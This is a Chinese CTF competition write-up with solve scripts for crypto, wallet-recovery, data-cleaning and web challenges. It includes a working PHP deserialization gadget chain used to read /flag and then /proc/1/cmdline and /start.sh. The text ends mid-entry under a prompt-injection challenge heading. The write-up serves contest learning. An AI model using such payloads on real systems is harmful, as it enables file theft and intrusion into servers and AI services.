第八届浙江省大学生网络与信息安全竞赛 初赛 WriteUp

感谢队友带飞

第八届浙江省大学生网络与信息安全竞赛 初赛 WriteUp By A1natas
Dr0n's blog: 第八届浙江省大学生网络与信息安全竞赛预赛-wp

misc

5-2 RecoverWallet

缺少一个助记词,遍历字典爆破

py
 1from mnemonic import Mnemonic
 2from bip32utils import BIP32Key
 3from web3 import Web3
 4
 5# 定义硬化索引偏移量
 6BIP32_HARDEN = 0x80000000
 7
 8# 获取BIP39英文单词列表
 9mnemo = Mnemonic("english")
10wordlist = mnemo.wordlist
11
12# 基础助记词单词,其中第5个单词未知
13base_words = ["ankle", "assume", "estate", "permit", None, "eye",
14              "fancy", "spring", "demand", "dial", "awkward", "hole"]
15target_suffix = "700f80"  # 目标地址后缀
16
17# 遍历所有可能的单词
18for word in wordlist:
19    base_words[4] = word  # 替换第5个单词(索引4)
20    mnemonic = " ".join(base_words)
21
22    # 检查助记词有效性(校验和)
23    if not mnemo.check(mnemonic):
24        continue
25
26    # 生成种子
27    seed = mnemo.to_seed(mnemonic)
28
29    # 从种子生成BIP32根密钥
30    root_key = BIP32Key.fromEntropy(seed)
31
32    # 推导路径: m/44'/60'/0'/0/0
33    # 44' (硬化)
34    child_key = root_key.ChildKey(44 + BIP32_HARDEN)
35    # 60' (硬化)
36    child_key = child_key.ChildKey(60 + BIP32_HARDEN)
37    # 0' (硬化)
38    child_key = child_key.ChildKey(0 + BIP32_HARDEN)
39    # 0 (非硬化)
40    child_key = child_key.ChildKey(0)
41    # 0 (非硬化)
42    child_key = child_key.ChildKey(0)
43
44    # 获取私钥
45    private_key = child_key.PrivateKey()
46    private_key_hex = private_key.hex()
47
48    # 从私钥生成以太坊地址
49    account = Web3().eth.account.from_key(private_key_hex)
50    address = account.address
51
52    # 检查地址是否以目标后缀结尾
53    if address.lower().endswith(target_suffix):
54        print("找到匹配的助记词和地址:")
55        print("助记词:", mnemonic)
56        print("地址:", address)
57        break

web

1-2 EzSerialize

  1. Php 反序列化,用下面的代码读一下/flag
php
 1<?php
 2class User
 3{
 4    private $name;
 5    private $role;
 6
 7    public function __construct($name, $role)
 8    {
 9        $this->name = $name;
10        $this->role = $role;
11    }
12    public function __toString()
13    {
14        return $this->role->getInfo();
15    }
16}
17class Admin
18{
19    private $command;
20
21    public function __construct($command)
22    {
23        $this->command = $command;
24    }
25    public function __call($method, $args)
26    {
27        if ($method === "getInfo") {
28            return $this->command->execute();
29        }
30        return "Method $method not found";
31    }
32}
33class FileReader
34{
35    private $filename;
36
37    public function __construct($filename)
38    {
39        $this->filename = $filename;
40    }
41
42    public function execute()
43    {
44        // 危险操作:直接读取文件
45        if (file_exists($this->filename)) {
46            return "<pre>" .
47                htmlspecialchars(file_get_contents($this->filename)) .
48                "</pre>";
49        } else {
50            return "文件不存在: " . $this->filename;
51        }
52    }
53}
54$fr = new FileReader("/flag");
55$admin = new Admin($fr);
56$user = new User("Alice", $admin);
57echo base64_encode(serialize($user));

内容为空,读取/proc/1/cmdline 看看有没有线索:

接着读取/start.sh:

把 flag 写入 flag.php 了,所以读取 flag.php 就好了:

crypto

4-1 RSA_Common_Attack

看出来是共模攻击,通过扩展欧几里得公式可以得出:

Exp:

python
 1from Crypto.Util.number import *
 2import gmpy2
 3
 4n = 12184620342604321526236147921176689871260702807639258752158298414126076615130224253248632789995209263378074151299166903216279276546198828352880417707078853010887759267119069971739321905295081485027018480973993441393590030075971419165113599211569178425331802782763120185350392723844716582476742357944510728860535408085789317844446495987195735585533277358245562877243064161565448407188900804528695784565011073374273835326807616704068806996983861885772305191259029021518998160545972629938341341148477795894816345752396040127286263780418335699743896454197151019898505844519753453115300227481242993291336748858733029540609
 5e1 = 65537
 6e2 = 10001
 7c1 = 902947871638340144585350496607905036788917988784297938051712515029419473301205843372041904115813361402310512640716508455953201343091183980022416880886523265909139556951175072940441586166669057233430247014907124872576782948489940428513680356381769358116956570193102584168134758031000460513472898624075765670452482015562555449322262139576088011030490086784087285869959810062075648470122232452663599195404333292792928816934802064740144937473749408450501803510475933273448208685792400696632919950948832464784621694657179199125876564156360048730797653060931844444935302553732964065897065735427838601696506594726842758656
 8c2 = 7024079443689213821451191616762957236018704240049119768827190246286227366906772824421534943039282921384333899446122799252327963055365970065258371710141470872948613397123358914507497871585713222863470875497667604127210508840915183968145267083193773724382523920130152399270957943228022350279379887455019966651166356404967621474933206809521046480962602160962854745553005978607776790079518796651707745342923714121497001171456582586327982922261473553814594384196824815090185841526000247291514943042643385984600122463395695871306301585799490389353720773152762256126676456786420058282912965520064317739998211921049808590504
 9
10s0, s1, s2 = gmpy2.gcdext(e1, e2)
11m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
12flag = long_to_bytes(gmpy2.iroot(m, s0)[0])
13print(flag)

4-2 ez_stream

一看 flag 中的未知数只有 11 个,且前面的 S,K,N 都是固定的,就可以开始爆破
Exp:

python
 1from Crypto.Util.number import *
 2import gmpy2
 3
 4tt = [164, 34, 242, 5, 234, 79, 16, 182, 136, 117, 78, 78, 71, 168, 72, 79, 53, 114]
 5
 6for a in [
 7    "a",
 8    "b",
 9    "c",
10    "d",
11    "e",
12    "f",
13    "g",
14    "h",
15    "i",
16    "j",
17    "k",
18    "l",
19    "m",
20    "n",
21    "o",
22    "p",
23    "q",
24    "r",
25    "s",
26    "t",
27    "u",
28    "v",
29    "w",
30    "x",
31    "y",
32    "z",
33    "A",
34    "B",
35    "C",
36    "D",
37    "E",
38    "F",
39    "G",
40    "H",
41    "I",
42    "J",
43    "K",
44    "L",
45    "M",
46    "N",
47    "O",
48    "P",
49    "Q",
50    "R",
51    "S",
52    "T",
53    "U",
54    "V",
55    "W",
56    "X",
57    "Y",
58    "Z",
59    "1",
60    "2",
61    "3",
62    "4",
63    "5",
64    "6",
65    "7",
66    "8",
67    "9",
68    "0",
69    "_",
70]:
71    flag = "DASCTF{rc4_is_easy" + a
72
73    t = [ord(letter) for letter in flag]
74
75    N, K, S = [256, [0] * 256], [0] * 256, [i for i in range(256)]
76
77    key = "love"
78
79    for i in range(256):
80        S[i], K[i] = i, ord(key[i % len(key)])
81
82    j = 0
83
84    for i in range(256):
85        j = (j + S[i] + K[i]) % 256
86        S[i], S[j] = S[j], S[i]
87
88    i, j = 0, 0
89
90    for k in range(len(t)):
91        i = (i + 1) % 256
92        j = (j + S[i]) % 256
93        S[i], S[j] = S[j], S[i]
94        t[k] ^= S[(S[i] + S[j]) % 256]
95
96    if t == tt:
97        print(a)


Flag 即为 DASCTF{rc4_is_easy}

data security

6-1 dsEnData

写脚本还原

python
 1import base64
 2import csv
 3
 4
 5def decode(encoded_data, K="a1a60171273e74a6"):
 6    data = base64.b64decode(encoded_data)
 7    res = b""
 8    for i in range(len(data)):
 9        # 计算密钥索引: (i+1) & 15
10        c = K[(i + 1) & 15]
11        # 异或操作解密
12        res += bytes([data[i] ^ ord(c)])
13    return res.decode("utf-8")
14
15
16def decrypt_csv(input_file, output_file):
17    with open(input_file, "r", encoding="utf-8") as csv_in:
18        reader = csv.reader(csv_in)
19        header = next(reader)
20        rows = []
21        for row in reader:
22            decrypted_row = []
23            for field in row:
24                decrypted_field = decode(field)
25                decrypted_row.append(decrypted_field)
26            rows.append(decrypted_row)
27    with open(output_file, "w", encoding="utf-8", newline="") as csv_out:
28        writer = csv.writer(csv_out)
29        writer.writerow(header)
30        writer.writerows(rows)
31
32
33if __name__ == "__main__":
34    input_csv = "encoded_data.csv"
35    output_csv = "decrypted_data.csv"
36    decrypt_csv(input_csv, output_csv)
37    print("解密完成!解密后的数据已保存到", output_csv)

6-2 dssql

本地没有装 mysql,所以只能用 python 脚本进行清洗了

python
  1import string, time
  2
  3file = open("data.sql", "r").readlines()
  4
  5
  6def load_roles():
  7    roles = file[9026:9031]
  8    for i in range(len(roles)):
  9        roles[i] = roles[i][28:][:-2].split(", ")
 10        roles[i][0] = int(roles[i][0])
 11        for j in range(1, len(roles[i])):
 12            roles[i][j] = roles[i][j][1:-1]
 13        roles[i][2] = roles[i][2][:-1].split(",")
 14    return roles
 15
 16
 17def load_users():
 18    users = file[9049:11049]
 19    for i in range(len(users)):
 20        users[i] = users[i][28:][:-2].split(", ")
 21        users[i][0] = int(users[i][0])
 22        for j in range(1, len(users[i])):
 23            users[i][j] = users[i][j][1:-1]
 24        users[i][-1] = users[i][-1][:-1]
 25    return users
 26
 27
 28def load_opers():
 29    opers = file[34:9012]
 30    for i in range(len(opers)):
 31        opers[i] = opers[i][33:][:-2].split(", ")
 32        opers[i][0] = int(opers[i][0])
 33        opers[i][1] = int(opers[i][1])
 34        for j in range(2, len(opers[i])):
 35            opers[i][j] = opers[i][j][1:-1]
 36        opers[i][-1] = opers[i][-1][:-1]
 37    return opers
 38
 39
 40def verify_idcard(idcard: str) -> bool:
 41    if len(idcard) != 18:
 42        return False
 43    weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
 44    check_digits = ["1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"]
 45    total = 0
 46    for i in range(17):
 47        if not idcard[i].isdigit():
 48            return False
 49        total += int(idcard[i]) * weights[i]
 50    mod = total % 11
 51    return idcard[17].upper() == check_digits[mod]
 52
 53
 54def verify_bankcard(bankcard: str) -> bool:
 55    if not bankcard.isdigit() or not (16 <= len(bankcard) <= 19):
 56        return False
 57    digits = [int(d) for d in bankcard]
 58    checksum = digits.pop()
 59    digits.reverse()
 60    for i in range(len(digits)):
 61        if i % 2 == 0:
 62            digits[i] *= 2
 63            if digits[i] > 9:
 64                digits[i] -= 9
 65    total = sum(digits)
 66    calculated_checksum = (10 - (total % 10)) % 10
 67    return checksum == calculated_checksum
 68
 69
 70def verify_date(date_str: str, birth: str) -> bool:
 71    # 在 2015/1/1 到 2025/10/31 之间
 72    try:
 73        d = time.strptime(date_str, "%Y/%m/%d")
 74        if d < time.strptime("2015/1/1", "%Y/%m/%d") or d > time.strptime(
 75            "2025/10/31", "%Y/%m/%d"
 76        ):
 77            return False
 78        # 出生日期不能晚于注册日期
 79        bd = time.strptime(birth, "%Y%m%d")
 80        if bd > d:
 81            return False
 82        return True
 83    except Exception:
 84        return False
 85
 86
 87def check_info_err(users: list):
 88    errs = []
 89    for user in users:
 90        # 姓名违规
 91        if (
 92            (not (2 <= len(user[1]) <= 4))
 93            or (all(ch in string.printable for ch in user[1]))
 94            or user[1] == ""
 95        ):
 96            errs.append(user[1])
 97            continue
 98        # 手机号违规
 99        if (
100            (not len(user[2]) == 11)
101            or (not user[2].isdigit())
102            or (not user[2].startswith(("13", "14", "15", "16", "17", "18", "19")))
103        ):
104            errs.append(user[1])
105            continue
106        # 身份证号验证
107        if (
108            (not len(user[3]) == 18)
109            or (
110                not (
111                    user[3][:17].isdigit()
112                    and (user[3][17].isdigit() or user[3][17] in ["X", "x"])
113                )
114            )
115            or (not verify_idcard(user[3]))
116        ):
117            errs.append(user[1])
118            continue
119        # 银行卡号验证
120        if (
121            (not (16 <= len(user[4]) <= 19))
122            or (not user[4].isdigit())
123            and (not verify_bankcard(user[4]))
124        ):
125            errs.append(user[1])
126            continue
127        # 注册日期验证
128        if not verify_date(user[5], user[3][6:14]):
129            errs.append(user[1])
130    return errs
131
132
133def check_priv_err(opers: list, roles: list, users: list):
134    errs = []
135    for oper in opers:
136        user = users[oper[1] - 1]
137        role = user[-1]
138        role_privs = []
139        for i in range(len(roles)):
140            if roles[i][1] == role:
141                role_privs = roles[i][2]
142                break
143        if oper[3] not in role_privs and user[1] not in errs:
144            print(user, oper, role_privs)
145            errs.append(user[1])
146    return errs
147
148
149roles = load_roles()
150users = load_users()
151opers = load_opers()
152with open("output.csv", "w") as f:
153    for err in check_info_err(users):
154        f.write(f"{err},信息违规\n")
155    for err in check_priv_err(opers, roles, users):
156        f.write(f"{err},操作违规\n")

ai security

8-2 ez_AI_inject

提示词注入

系统提示词: